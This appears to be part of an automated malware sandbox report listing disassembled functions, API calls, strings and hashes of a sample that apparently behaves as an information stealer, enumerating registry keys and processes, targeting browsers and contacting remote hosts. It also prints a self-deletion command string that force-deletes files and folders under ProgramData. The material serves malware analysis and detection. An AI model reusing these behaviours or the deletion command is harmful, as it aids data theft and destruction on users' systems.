Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$lstrlen$lstrcpy$CloseHandle$FileHeapHttpOpenReadRequestlstrcatmemcpy$AllocateConnectCrackOptionProcessSend
String ID: "$------$build_id$mode
API String ID: 2649202363-3829489455
Opcode ID: 54909c62508315c5f1c5befd3af8f731fbbdb6dd89638171f4717369e6398c85
Instruction ID: 4a528d6c912ba76b7bd13b3373093673df7c30365515ea815b7a76e3a4c13a08
Opcode Fuzzy Hash: 54909c62508315c5f1c5befd3af8f731fbbdb6dd89638171f4717369e6398c85
Instruction Fuzzy Hash: 6822317282010DAEDB45EBA0CD96EFEF778AF14780F544178F60262191EF706A59CF64

Function 002FFFC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 180
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

RegOpenKeyExA.KERNEL32(?,02F3E7E8,00000000,00020019,?,003101E9), ref: 00300009
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00300052
wsprintfA.USER32 ref: 0030007C
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0030009A
RegQueryValueExA.KERNEL32(00000000,02F45198,00000000,000F003F,?,00000400), ref: 003000CA
lstrlen.KERNEL32(?), ref: 003000DF
RegQueryValueExA.KERNEL32(00000000,02F45348,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00313408), ref: 00300156

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Strings

%s\%s, xrefs: 00300076
- , xrefs: 00300160
?, xrefs: 002FFFFB

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$Enumlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 1989970852-3278919252
Opcode ID: 7e7713b99f5da6c6d08b28240881720df8e8653adbedbee69307aef14085a220
Instruction ID: 9c1c5bbf29e7189524c849e915bd49f8bc2af86fb627856cda3b1f002e98c319
Opcode Fuzzy Hash: 7e7713b99f5da6c6d08b28240881720df8e8653adbedbee69307aef14085a220
Instruction Fuzzy Hash: 5D611A7191110DABDB59DB90CC95FEEB77CEF54740F008168F605A3290EB706A4ACFA0

Function 002F43E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002F441C
RtlAllocateHeap.NTDLL(00000000), ref: 002F4423
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F4442
StrCmpCA.SHLWAPI(?,02F43058), ref: 002F445A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F4482
HttpOpenRequestA.WININET(00000000,GET,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F44BC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F44E0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F44EF
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 002F450E
InternetReadFile.WININET(00000000,?,00000400,00000001), ref: 002F4566
InternetCloseHandle.WININET(00000000), ref: 002F4597
InternetCloseHandle.WININET(00000000), ref: 002F45A4
InternetCloseHandle.WININET(00000000), ref: 002F45AB

Strings

GET, xrefs: 002F44B6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: e61985f693ba435fd8e9d5e200cec6940f385f7077ed77c461adddd3ab94b392
Instruction ID: 1b7e4686df58025699884ef73405ecdb1c4eb4b7d9846a41a315df7359032c49
Opcode Fuzzy Hash: e61985f693ba435fd8e9d5e200cec6940f385f7077ed77c461adddd3ab94b392
Instruction Fuzzy Hash: AC517671A1021DABEB20EFA4DD55FBFB7B8EF58740F404128FB05A7281D7709A158BA0

Function 003039E0 Relevance: 21.6, APIs: 11, Strings: 1, Instructions: 633
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF8A0: lstrlen.KERNEL32(002F5B05,00000000,?,?,002F5B05,003101E9), ref: 002FF8AB
Part of subcall function 002FF8A0: lstrcpy.KERNEL32(00000000,002F5B05), ref: 002FF8E2

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00303B47
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00303BAA
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00303CF3

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 00302EE0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00302F20

Part of subcall function 00302FA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00302FFA
Part of subcall function 00302FA0: lstrlen.KERNEL32(00000000), ref: 00303011
Part of subcall function 00302FA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00303039
Part of subcall function 00302FA0: lstrlen.KERNEL32(00000000), ref: 0030304E
Part of subcall function 00302FA0: lstrlen.KERNEL32(00000000), ref: 0030306B

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00303C90
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00303DD9
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00303E3C
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00303F22
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00303F85
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0030406B
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003040C8
Sleep.KERNEL32(0000EA60), ref: 003040D7

Strings

ERROR, xrefs: 00303B39, 00303B9C, 00303C82, 00303CE5, 00303DCB, 00303E2E, 00303F14, 00303F77, 0030405D, 003040BA

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR
API String ID: 507064821-2861137601
Opcode ID: 14292f27e43b744dbb791f7b11404459265273f9ffd64b868d817a189ca49996
Instruction ID: 61fca1fc747113b01ab53e49c9594cab10458315fce5431ba07c365c554710e3
Opcode Fuzzy Hash: 14292f27e43b744dbb791f7b11404459265273f9ffd64b868d817a189ca49996
Instruction Fuzzy Hash: C5221C7582020CAADB54FB70DD569FEB73C6F143C0F804578FA0662196EF35AB688E61

Function 00303230 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 134COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00303249
memset.MSVCRT ref: 00303255
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0030326A

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

ShellExecuteEx.SHELL32(0000003C), ref: 003033B5
memset.MSVCRT ref: 003033C2
memset.MSVCRT ref: 003033D4
ExitProcess.KERNEL32 ref: 003033E5

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 0030331A
" & exit, xrefs: 0030330F, 0030335D
/c timeout /t 10 & del /f /q ", xrefs: 00303286
" & rd /s /q "C:\ProgramData\, xrefs: 003032CC
<, xrefs: 0030338D

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1134881415-1686486140
Opcode ID: 41afacafe2a94d042948d268c31d11751adad45ea8ac941f58cedb54d51df49f
Instruction ID: 784932082eebeaa597e84b468cb884d69002d306bcc6178f159ff7913fbd3afb
Opcode Fuzzy Hash: 41afacafe2a94d042948d268c31d11751adad45ea8ac941f58cedb54d51df49f
Instruction Fuzzy Hash: BD510B71C2020CAACB55EBA0DD92DFEB738AF14780F508279F21672191EB706759CF94

Function 00306510 Relevance: 20.5, APIs: 4, Strings: 7, Instructions: 1232networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF8A0: lstrlen.KERNEL32(002F5B05,00000000,?,?,002F5B05,003101E9), ref: 002FF8AB
Part of subcall function 002FF8A0: lstrcpy.KERNEL32(00000000,002F5B05), ref: 002FF8E2

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 00301400: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00301439
Part of subcall function 00301400: Process32First.KERNEL32(00000000,00000128), ref: 00301449
Part of subcall function 00301400: Process32Next.KERNEL32(00000000,00000128), ref: 0030145B
Part of subcall function 00301400: StrCmpCA.SHLWAPI(?,?), ref: 00301470
Part of subcall function 00301400: CloseHandle.KERNEL32(00000000), ref: 00301482

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,02F45090,00000000,?,003101E9,00000000), ref: 00306A16
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00306B22
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00306B3C

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 00300420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0030043C
Part of subcall function 00300420: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00300475
Part of subcall function 00300420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003004BF
Part of subcall function 00300420: RtlAllocateHeap.NTDLL(00000000), ref: 003004C6

Part of subcall function 002F3E20: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F3EAC
Part of subcall function 002F3E20: StrCmpCA.SHLWAPI(?,02F43058), ref: 002F3EC7

Part of subcall function 003023F0: StrCmpCA.SHLWAPI(00000000,block), ref: 0030240D
Part of subcall function 003023F0: ExitProcess.KERNEL32 ref: 00302418

Part of subcall function 002FE870: StrCmpCA.SHLWAPI(00000000,02F43328), ref: 002FE8C0
Part of subcall function 002FE870: StrCmpCA.SHLWAPI(00000000,02F43338), ref: 002FE947

Part of subcall function 002F5BB0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F5C3C
Part of subcall function 002F5BB0: StrCmpCA.SHLWAPI(?,02F43058), ref: 002F5C57

Part of subcall function 00301F00: strtok_s.MSVCRT ref: 00301F24

Sleep.KERNEL32(000003E8), ref: 00306F45

Part of subcall function 00305D00: lstrcat.KERNEL32(?,02F45420), ref: 00305D5B
Part of subcall function 00305D00: lstrcat.KERNEL32(?,00000000), ref: 00305D7E
Part of subcall function 00305D00: lstrcat.KERNEL32(?,?), ref: 00305D9A
Part of subcall function 00305D00: lstrcat.KERNEL32(?,?), ref: 00305DAE
Part of subcall function 00305D00: lstrcat.KERNEL32(?,02F389E0), ref: 00305DC1
Part of subcall function 00305D00: lstrcat.KERNEL32(?,?), ref: 00305DD5
Part of subcall function 00305D00: lstrcat.KERNEL32(?,02F45900), ref: 00305DE9

Part of subcall function 002F45D0: lstrlen.KERNEL32(00000000), ref: 002F4641
Part of subcall function 002F45D0: StrCmpCA.SHLWAPI(?,02F43058,003101E9,003101E9,003101E9,003101E9), ref: 002F46A6
Part of subcall function 002F45D0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F46CC

Strings

.exe, xrefs: 0030693D, 00307293
zapto, xrefs: 00307380
dabl, xrefs: 0030733C
org, xrefs: 003073C4
arp, xrefs: 0030731A
http://, xrefs: 003072F8
_DEBUG.zip, xrefs: 003073F9

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$InternetOpenlstrcpy$lstrlen$CreateDirectoryHeapProcessProcess32$AllocateCloseExitFirstHandleInformationNextSleepSnapshotToolhelp32VolumeWindowsstrtok_s
String ID: .exe$_DEBUG.zip$arp$dabl$http://$org$zapto
API String ID: 1508513256-1018522893
Opcode ID: d8e5fc7bd8b07a0d85b9583b4f6b1104393b562dc52c32e61e0f1d44f668e690
Instruction ID: ffb1fba41777ebdb860650578df4d8a17c68084f775e7e44db0c308512b6f259
Opcode Fuzzy Hash: d8e5fc7bd8b07a0d85b9583b4f6b1104393b562dc52c32e61e0f1d44f668e690
Instruction Fuzzy Hash: 67A26171D2020CAACB59FBA0DD62DFDF778AF54780F404178E60662291EF306B59CEA5

Function 002FE870 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F43328), ref: 002FE8C0
StrCmpCA.SHLWAPI(00000000,02F43338), ref: 002FE947
StrCmpCA.SHLWAPI(00000000,firefox), ref: 002FECBD
StrCmpCA.SHLWAPI(00000000,02F43378), ref: 002FEA4C

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

StrCmpCA.SHLWAPI(00000000,02F43328), ref: 002FEB30
StrCmpCA.SHLWAPI(00000000,02F43338), ref: 002FEBB9

Strings

Stable\, xrefs: 002FE962, 002FEBD4
firefox, xrefs: 002FECAF

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
